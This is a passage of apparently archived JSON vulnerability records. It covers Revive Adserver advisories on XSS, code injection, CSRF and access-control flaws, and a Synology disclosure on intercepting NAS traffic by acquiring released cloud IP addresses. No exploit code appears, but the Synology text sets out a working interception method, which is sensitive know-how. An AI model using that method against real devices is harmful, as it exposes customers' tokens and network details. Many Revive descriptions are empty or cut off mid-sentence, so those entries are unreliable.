CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3656781\nhttps://github.com/revive-adserver/revive-adserver/commit/de3525e12\nhttps://cwe.mitre.org/data/definitions/94.html\n\n\n========================================================================\n6. Improper Authentication\n========================================================================\nVulnerability Type: CWE-287: Improper Authentication\nCVE-ID: CVE-2026-34917\nRisk level: Medium\nCVSS Base Score: 4.3\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3672641\nhttps://github.com/revive-adserver/revive-adserver/commit/50c7dd3ba\nhttps://cwe.mitre.org/data/definitions/287.html\n\n\n========================================================================\n7. Stored XSS\n========================================================================\nVulnerability Type: CWE-79: Cross-site Scripting\nCVE-ID: CVE-2026-44956\nRisk level: Medium\nCVSS Base Score: 5.4\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\nProper escaping has been added to the userlog details output.\n\nReferences\n----------\nhttps://hackerone.com/reports/3669623\nhttps://github.com/revive-adserver/revive-adserver/commit/6254115b7\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\n8. Improper Access Control\n========================================================================\nVulnerability Type: CWE-284: Improper Access Control\nCVE-ID: CVE-2026-44957\nRisk level: Medium\nCVSS Base Score: 4.3\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3677576\nhttps://github.com/revive-adserver/revive-adserver/commit/5860e2f86\nhttps://cwe.mitre.org/data/definitions/284.html\n\n\n========================================================================\n9. Improper Access Control\n========================================================================\nVulnerability Type: CWE-284: Improper Access Control\nCVE-ID: CVE-2026-44958\nRisk level: Medium\nCVSS Base Score: 4.3\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3678828\nhttps://github.com/revive-adserver/revive-adserver/commit/2af365841\nhttps://cwe.mitre.org/data/definitions/284.html\n\n\n========================================================================\n10. Remote Code Execution\n========================================================================\nVulnerability Type: CWE-94: Code Injection\nCVE-ID: CVE-2026-44959\nRisk level: High\nCVSS Base Score: 8.8\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3744200\nhttps://github.com/revive-adserver/revive-adserver/commit/6c6161420\nhttps://cwe.mitre.org/data/definitions/94.html\n\n========================================================================\n11. Stored XSS\n========================================================================\nVulnerability Type:    CWE-79: Cross-site Scripting\nCVE-ID:                CVE-2026-44960\nRisk level:            Medium\nCVSS Base Score:       5.4\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\nthe username would be executed due to missing output sanitisation.\n\nResolution\n----------\nProper escaping has been added to the audit log details output.\n\nReferences\n----------\nhttps://hackerone.com/reports/3680090\nhttps://github.com/revive-adserver/revive-adserver/commit/27bb9a8f5\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\n12. Incomplete List of Disallowed Inputs\n========================================================================\nVulnerability Type:    CWE-184: Incomplete List of Disallowed Inputs\nCVE-ID:                CVE-2026-44961\nRisk level:            Medium\nCVSS Base Score:       5.4\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\nHackerOne community member barcrange (3l4) has reported that the XML\u2011RPC API\n\nCVE\u20112025\u201155129. As a result, API users could create usernames that enabled\nimpersonation or stored XSS attacks.\n\nResolution\n----------\nProper validation has been added where it was missing.\n\nReferences\n----------\nhttps://hackerone.com/reports/3680090\nhttps://github.com/revive-adserver/revive-adserver/commit/229cf361b\nhttps://cwe.mitre.org/data/definitions/184.html\n\n\n\n\n========================================================================\nSolution\n========================================================================\n\n\n\n\n========================================================================\nContact Information\n========================================================================\n\nThe security contact for Revive Adserver can be reached at:\n\u003csecurity AT revive-adserver DOT com\u003e.\n\nPlease review https://www.revive-adserver.com/security/ before doing so.\n\n\n--\nMatteo Beccati\nOn behalf of the Revive Adserver Team\nhttps://www.revive-adserver.com/\n\n\n\n\n\n\n\n\n\n\n\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-184",
              "description": "CWE-184",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-284",
              "description": "CWE-284",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-287",
              "description": "CWE-287",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-79",
              "description": "CWE-79",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-89",
              "description": "CWE-89",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-94",
              "description": "CWE-94",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:58Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/0"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/0"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/184.html"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/284.html"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/287.html"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/79.html"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/89.html"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/94.html"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/229cf361b"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/27bb9a8f5"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/2af365841"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/50c7dd3ba"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/5860e2f86"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/6254115b7"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/6c6161420"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/b541d1d05"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/de3525e12"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/e1c9b8478"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/f1b5e8504"
        },
        {
          "url": "https://hackerone.com/reports/3650504"
        },
        {
          "url": "https://hackerone.com/reports/3650582"
        },
        {
          "url": "https://hackerone.com/reports/3653196"
        },
        {
          "url": "https://hackerone.com/reports/3653316"
        },
        {
          "url": "https://hackerone.com/reports/3656781"
        },
        {
          "url": "https://hackerone.com/reports/3669623"
        },
        {
          "url": "https://hackerone.com/reports/3672641"
        },
        {
          "url": "https://hackerone.com/reports/3677576"
        },
        {
          "url": "https://hackerone.com/reports/3678828"
        },
        {
          "url": "https://hackerone.com/reports/3680090"
        },
        {
          "url": "https://hackerone.com/reports/3744200"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.revive-adserver.com/"
        },
        {
          "url": "https://www.revive-adserver.com/security/"
        },
        {
          "url": "https://www.revive-adserver.com/security/revive-sa-2026-002"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/0"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[REVIVE-SA-2026-002] Revive Adserver Vulnerabilities",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-34912",
              "type": "related"
            },
            {
              "destId": "CVE-2026-34913",
              "type": "related"
            },
            {
              "destId": "CVE-2026-34914",
              "type": "related"
            },
            {
              "destId": "CVE-2026-34915",
              "type": "related"
            },
            {
              "destId": "CVE-2026-34916",
              "type": "related"
            },
            {
              "destId": "CVE-2026-34917",
              "type": "related"
            },
            {
              "destId": "CVE-2026-44956",
              "type": "related"
            },
            {
              "destId": "CVE-2026-44957",
              "type": "related"
            },
            {
              "destId": "CVE-2026-44958",
              "type": "related"
            },
            {
              "destId": "CVE-2026-44959",
              "type": "related"
            },
            {
              "destId": "CVE-2026-44960",
              "type": "related"
            },
            {
              "destId": "CVE-2026-44961",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0376",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/0",
            "automated": true,
            "contentSha256": "38353b4aad227a84e5f5423124ed92bb9eccc2c021361c590c300ad74d739e41",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/0",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-03T13:43:47Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0376"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T07:55:58Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0376"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "stale DNS",
          "vendor": "Synology",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "shed riot"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# Synology stale DNS allows practical interception of traffic from\nvulnerable DSM clients\n\nVendor case: 904909\nSuggested severity: High\n\n## Customer advisory\n\nSynology customers using the affected DSM and Relayd versions listed below\nshould upgrade immediately.\n\nThe relevant man-in-the-middle vulnerabilities were fixed in DSM\n6.2.3-25426 Update 3. Customers should install the latest DSM version\navailable for their device, and in no case remain on a version earlier than\nDSM 6.2.3-25426 Update 3 where that update is supported.\n\nDevices that cannot run this or a later version should be considered\nunsupported and unsafe for QuickConnect or relay-based communication. They\nshould be replaced, retired, or isolated from Synology cloud services.\n\n## Summary\n\nPreviously disclosed vulnerabilities in Synology DSM allowed an attacker\npositioned between a NAS and Synology\u0027s infrastructure to impersonate\nSynology servers, intercept sensitive information, and, in some cases,\nmanipulate traffic or execute commands.\n\nThose vulnerabilities included:\n\n* CVE-2021-26560, cleartext transmission by `synoagentregisterd`, allowing\nan attacker to spoof a Synology server.\n* CVE-2021-26561 and CVE-2021-26562, memory-corruption vulnerabilities\nreachable through the same man-in-the-middle position.\n* CVE-2021-26564 and CVE-2021-26565, allowing `synorelayd` traffic to be\nintercepted or redirected.\n* CVE-2021-26566, allowing manipulated inbound QuickConnect traffic to\nresult in command execution.\n\nSynology fixed these issues in DSM 6.2.3-25426 Update 3.\n\nThe new finding described in this advisory is a separate infrastructure\ncondition that makes exploitation of those old client vulnerabilities\npractical.\n\nSynology hostnames were observed resolving to ephemeral cloud IP addresses.\nSynology subsequently released those addresses back to the cloud provider\nwhile client devices continued to retain the old DNS result in cache. When\na released address was acquired by a third party, affected clients\ncontinued sending traffic intended for Synology to the new,\nattacker-controlled system.\n\nThis does not require DNS poisoning, ARP spoofing, phishing, a malicious\nwebsite, or a conventional on-path position. The stale DNS record itself\ndirects the client to the attacker.\n\n## Observed interception in the wild\n\nDuring a two-week period, four separately released cloud IP addresses\npreviously used by Synology infrastructure were acquired and monitored.\n\nThe supplied traffic captures cover four collection events between 7 July\nand 16 July 2026. They contain:\n\n* 28 HTTP or HTTPS requests intended for Synology services.\n* 23 distinct client endpoints.\n* 22 unique NAS serial numbers, plus one additional client that did not\ninclude its serial number in the captured request.\n* 10 plaintext `synoagentregisterd_dsm` requests.\n* 14 `Synology Relayd` requests.\n* Four additional QuickConnect requests.\n\nThe traffic was received without targeting individual customers and without\ninterfering with Synology\u0027s DNS records. The clients contacted addresses\nthat had legitimately been released by Synology and subsequently assigned\nto the collection system.\n\nThis is therefore not a theoretical attack scenario. It is a definitive\nexample of real Synology customer traffic being delivered to a\nthird-party-controlled endpoint.\n\n## Information exposed\n\nThe information varied by request type, but the captured traffic included:\n\n* Authentication keys and token values.\n* NAS serial numbers and model identifiers.\n* MAC addresses.\n* QuickConnect aliases and server identifiers.\n* HTTP session cookies.\n* Internal IPv4 and IPv6 addresses.\n* Internal gateways and network masks.\n* DDNS hostnames.\n* Enabled services and internal or externally mapped service ports.\n* DSM management ports.\n* Device time zones and other system metadata.\n\nThe plaintext `/finder/set.php` requests exposed device identifiers,\ntokens, internal addresses and management ports directly over HTTP.\n\nThe TLS-based requests successfully connected to a collection system using\na self-signed certificate. This demonstrates that the affected clients did\nnot meaningfully authenticate the remote server before transmitting request\ndata.\n\nWhether every captured token could subsequently be replayed is not\nnecessary to establish the confidentiality impact. The security failure\noccurred when private customer and device data intended for Synology was\ndelivered to an unauthorised third party.\n\n## Affected traffic paths\n\nThe intercepted requests were intended for hostnames including:\n\n* `relayinfo.synology.com`\n* `global.quickconnect.to`\n* `dec.quickconnect.to`\n* `ukc.synology.com`\n\nThe traffic included requests to:\n\n* `/finder/set.php`\n* `/Serv.php`\n* `/alias_update.php`\n\nCisco Talos previously documented the same `synoagentregisterd` sequence. A\nDSM device first requested a finder server from `global.quickconnect.to`,\nthen transmitted its serial number, token, network addresses and DSM ports\nusing plaintext HTTP. Talos concluded that both stages could be modified by\na man-in-the-middle attacker.\n\nTalos also documented QuickConnect server impersonation capable of stealing\ndevice credentials through the `synorelayd` and HTTP-redirection flow.\n\nThe stale-DNS condition supplies the attacker-controlled endpoint required\nby these vulnerabilities without requiring the attacker to compromise DNS\nor obtain an existing network position.\n\n## Captured client versions\n\nAll captured clients pre-date DSM 6.2.3-25426 Update 3.\n\n| Captured version         | Identified models       | Distinct endpoints |\n| ------------------------ | ----------------------- | -----------------: |\n| Synology Relayd 1.0-3211 | Model not disclosed     |                  1 |\n| Synology Relayd 1.0-3810 | Model not disclosed     |                  1 |\n| Synology Relayd 1.0-3827 | DS210j, DS212j, DS710+  |                  4 |\n| Synology Relayd 1.0-4493 | DS214+, DS414slim       |                  5 |\n| DSM 5.0-4528             | DS214play               |                  1 |\n| DSM 5.0-4528 Update 1    | DS713+                  |                  1 |\n| DSM 5.0-4528 Update 2    | DS213j                  |                  1 |\n| DSM 5.2-5592 Update 4    | DS214se                 |                  1 |\n| DSM 5.2-5967 Update 9    | DS1010+, DS115j, RS815+ |                  4 |\n| DSM 6.0-8451             | DS416j                  |                  1 |\n| DSM 6.0-8754 Update 8    | DS215+, DS216j          |                  3 |\n| Total                    |                         |                 23 |\n\n## Required remediation\n\n### Devices that support the patched DSM release\n\nThe following identified models can install DSM 6.2.3-25426 Update 3 or a\nlater DSM release:\n\n* DS212j\n* DS213j\n* DS214+\n* DS214play\n* DS214se\n* DS215+\n* DS216j\n* DS414slim\n* DS416j\n* DS713+\n* DS115j\n* RS815+\n\nOwners should install the latest DSM version currently offered for the\nspecific model. DSM 6.2.3-25426 Update 3 is only the minimum version known\nto contain the relevant fixes and should not be treated as the preferred\ncurrent version. Synology\u0027s model release notes confirm availability of the\nfixed branch for these hardware generations.\n\n### Devices with no patched DSM release\n\nThe following captured 10-series models are limited to DSM 5.2 and cannot\ninstall the fixed DSM branch:\n\n* DS1010+\n* DS210j\n* DS710+\n\nSynology states that DSM 5.2 was the final major DSM release for 10-series\ndevices.\n\nThere is therefore no safe software upgrade for these devices in relation\nto the vulnerabilities described in Synology-SA-20:26. Customers should\nreplace or retire them.\n\nUntil replacement, owners should disable QuickConnect and related relay\nfunctionality, restrict outbound connectivity to Synology relay and finder\nservices, and prevent the devices from transmitting sensitive registration\ndata over the internet.\n\nThe two unidentified clients using Relayd 1.0-3211 and 1.0-3810 should be\nidentified by their owners. If their hardware cannot install DSM\n6.2.3-25426 Update 3 or later, the same replacement recommendation applies.\n\n## Historical exposure\n\nIt is not known:\n\n* How long Synology\u0027s infrastructure has released ephemeral addresses while\nDNS caches remained valid.\n* How frequently previously used addresses have been acquired by unrelated\ncloud customers.\n* Whether other parties deliberately searched for and acquired released\nSynology addresses.\n* How many clients have previously sent requests to unintended recipients.\n* How much customer data may have been collected before this report.\n* Whether any exposed keys, tokens or session values were replayed or\notherwise abused.\n\nFour independent ephemeral addresses were encountered during a short\nobservation period. This suggests that the condition was repeatable rather\nthan an isolated cloud-allocation anomaly.\n\nThe absence of known reports of exploitation cannot establish that prior\ninterception did not occur. A party receiving this traffic would not need\nto interact with the affected NAS, modify a request, or trigger an\nobservable failure. Passive collection could occur without the customer or\nSynology becoming aware of it.\n\n## Vendor disclosure timeline\n\n| Date              | Event\n\n                                                                   |\n| ----------------- |\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n|\n| 7 July 2026       | Initial report submitted to Synology with a captured\ntraffic log.\n                                                                     |\n| 8 July 2026       | Synology classified the issue as a hardening\nsuggestion, stating that a complete exploit had not been demonstrated and\nreferring to phishing or fake-site behaviour that was not part of the\nreport. |\n| 8 July 2026       | Synology was informed that the attachment contained\nlive third-party traffic, identifiers and token values, and was asked to\nconsider notifying the affected customers.                              |\n| 9 July 2026       | Synology acknowledged that the log contained live\ntraffic and token-like values, but said replay or account compromise had\nnot been demonstrated.                                                    |\n| 9 July 2026       | Synology was informed that its HTTPS traffic had\nconnected to a self-signed collection endpoint, demonstrating ineffective\ncertificate validation.                                                   |\n| 9 July 2026       | Synology described the result as, at most, limited\ninformation exposure.\n                                                                      |\n| 9 to 16 July 2026 | Additional released IP addresses were acquired and\nfurther independent batches of customer traffic were captured and supplied.\n                                                                      |\n| 22 July 2026      | Synology stated that the TLS certificate-validation\nbehaviour had been fixed in later DSM versions and maintained that the\nreport was not bounty eligible.                                           |\n| 22 July 2026      | Synology was reminded that the stale-DNS condition\nmade the old client vulnerability practically exploitable and that the\nduration and historical extent of exposure were unknown.                   |\n| 22 July 2026      | Synology stated that it would adjust the\nconfiguration of `relayinfo.synology.com` to further reduce the risk.\n\n    |\n| 22 July 2026      | Synology maintained the \"hardening suggestion\"\nclassification and declined a monetary reward.\n                                                                           |\n\n\n## Assessment of Synology\u0027s response\n\nSynology is correct that every client observed in the captures was old and\npre-dated the relevant security update.\n\nThat fact does not invalidate the finding.\n\nThe stale-DNS condition was present in Synology-controlled infrastructure\nat the time of reporting. It t"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:36:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/28"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/28"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/28"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Synology stale DNS allows practical interception of traffic from vulnerable DSM clients",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2021-26560",
              "type": "related"
            },
            {
              "destId": "CVE-2021-26561",
              "type": "related"
            },
            {
              "destId": "CVE-2021-26562",
              "type": "related"
            },
            {
              "destId": "CVE-2021-26564",
              "type": "related"
            },
            {
              "destId": "CVE-2021-26565",
              "type": "related"
            },
            {
              "destId": "CVE-2021-26566",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0374",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/28",
            "automated": true,
            "contentSha256": "bd8f367c2ed2bbbcd5c32d5122025267d13ee7dbffbbbc16a203899c4f1f006e",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/28",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-22T08:27:45Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0374"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T11:36:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0374"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Revive Adserver Vulnerabilities",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matteo Beccati"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "========================================================================\nRevive Adserver Security Advisory                     REVIVE-SA-2026-003\n------------------------------------------------------------------------\nhttps://www.revive-adserver.com/security/revive-sa-2026-003\n------------------------------------------------------------------------\nDate: 2026-06-25\nRisk Level: Medium to High\nApplications affected: Revive Adserver\nVersions affected: \u003c= 6.0.7\nVersions not affected: \u003e= 6.0.8\nWebsite: https://www.revive-adserver.com/\n========================================================================\n\n\n========================================================================\n1. Improper Access Control\n========================================================================\nVulnerability Type:    CWE-284: Improper Access Control\nCVE-ID:                CVE-2026-50739\nRisk level:            Medium\nCVSS Base Score:       4.3\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3780709\nhttps://github.com/revive-adserver/revive-adserver/commit/c03a0b6d\nhttps://cwe.mitre.org/data/definitions/284.html\n\n\n========================================================================\n2. Reflected XSS\n========================================================================\nVulnerability Type:    CWE-79: Cross-site Scripting\nCVE-ID:                CVE-2026-50740\nRisk level:            Medium\nCVSS Base Score:       6.1\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3780806\nhttps://github.com/revive-adserver/revive-adserver/commit/03d9ad8b\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\n3. Remote Code Execution\n========================================================================\nVulnerability Type:    CWE-94: Code Injection\nCVE-ID:                CVE-2026-50741\nRisk level:            High\nCVSS Base Score:       8.8\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3780854\nhttps://hackerone.com/reports/3781492\nhttps://github.com/revive-adserver/revive-adserver/commit/3d1485de\nhttps://github.com/revive-adserver/revive-adserver/commit/becaf6e7\nhttps://cwe.mitre.org/data/definitions/94.html\n\n\n========================================================================\n4. Stored XSS\n========================================================================\nVulnerability Type:    CWE-79: Cross-site Scripting\nCVE-ID:                CVE-2026-50742\nRisk level:            Medium\nCVSS Base Score:       4.4\nCVSS Vector:           CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3781311\nhttps://github.com/revive-adserver/revive-adserver/commit/91abb6ab\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\n5. Cross-Site Request Forgery\n========================================================================\nVulnerability Type:    CWE-352: Cross-Site Request Forgery\nCVE-ID:                CVE-2026-50743\nRisk level:            Medium\nCVSS Base Score:       5.4\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3781691\nhttps://github.com/revive-adserver/revive-adserver/commit/e3c84d6f\nhttps://cwe.mitre.org/data/definitions/352.html\n\n\n========================================================================\n6. Improper Access Control\n========================================================================\nVulnerability Type:    CWE-284: Improper Access Control\nCVE-ID:                CVE-2026-50744\nRisk level:            Medium\nCVSS Base Score:       4.3\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3783738\nhttps://github.com/revive-adserver/revive-adserver/commit/3e04cb4a\nhttps://cwe.mitre.org/data/definitions/284.html\n\n\n========================================================================\n7. Reflected XSS\n========================================================================\nVulnerability Type:    CWE-79: Cross-site Scripting\nCVE-ID:                CVE-2026-50745\nRisk level:            Medium\nCVSS Base Score:       4.7\nCVSS Vector:           CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3793243\nhttps://github.com/revive-adserver/revive-adserver/commit/a570a0c1\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\nSolution\n========================================================================\n\n\n\n\n========================================================================\nContact Information\n========================================================================\n\nThe security contact for Revive Adserver can be reached at:\n\u003csecurity AT revive-adserver DOT com\u003e.\n\nPlease review https://www.revive-adserver.com/security/ before doing so.\n\n\n--\nMatteo Beccati\nOn behalf of the Revive Adserver Team\nhttps://www.revive-adserver.com/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-284",
              "description": "CWE-284",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-352",
              "description": "CWE-352",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-79",
              "description": "CWE-79",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-94",
              "description": "CWE-94",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:58Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/19"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/19"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/284.html"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/352.html"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/79.html"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/94.html"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/03d9ad8b"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/3d1485de"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/3e04cb4a"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/91abb6ab"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/a570a0c1"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/becaf6e7"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/c03a0b6d"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/e3c84d6f"
        },
        {
          "url": "https://hackerone.com/reports/3780709"
        },
        {
          "url": "https://hackerone.com/reports/3780806"
        },
        {
          "url": "https://hackerone.com/reports/3780854"
        },
        {
          "url": "https://hackerone.com/reports/3781311"
        },
        {
          "url": "https://hackerone.com/reports/3781492"
        },
        {
          "url": "https://hackerone.com/reports/3781691"
        },
        {
          "url": "https://hackerone.com/reports/3783738"
        },
        {
          "url": "https://hackerone.com/reports/3793243"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.revive-adserver.com/"
        },
        {
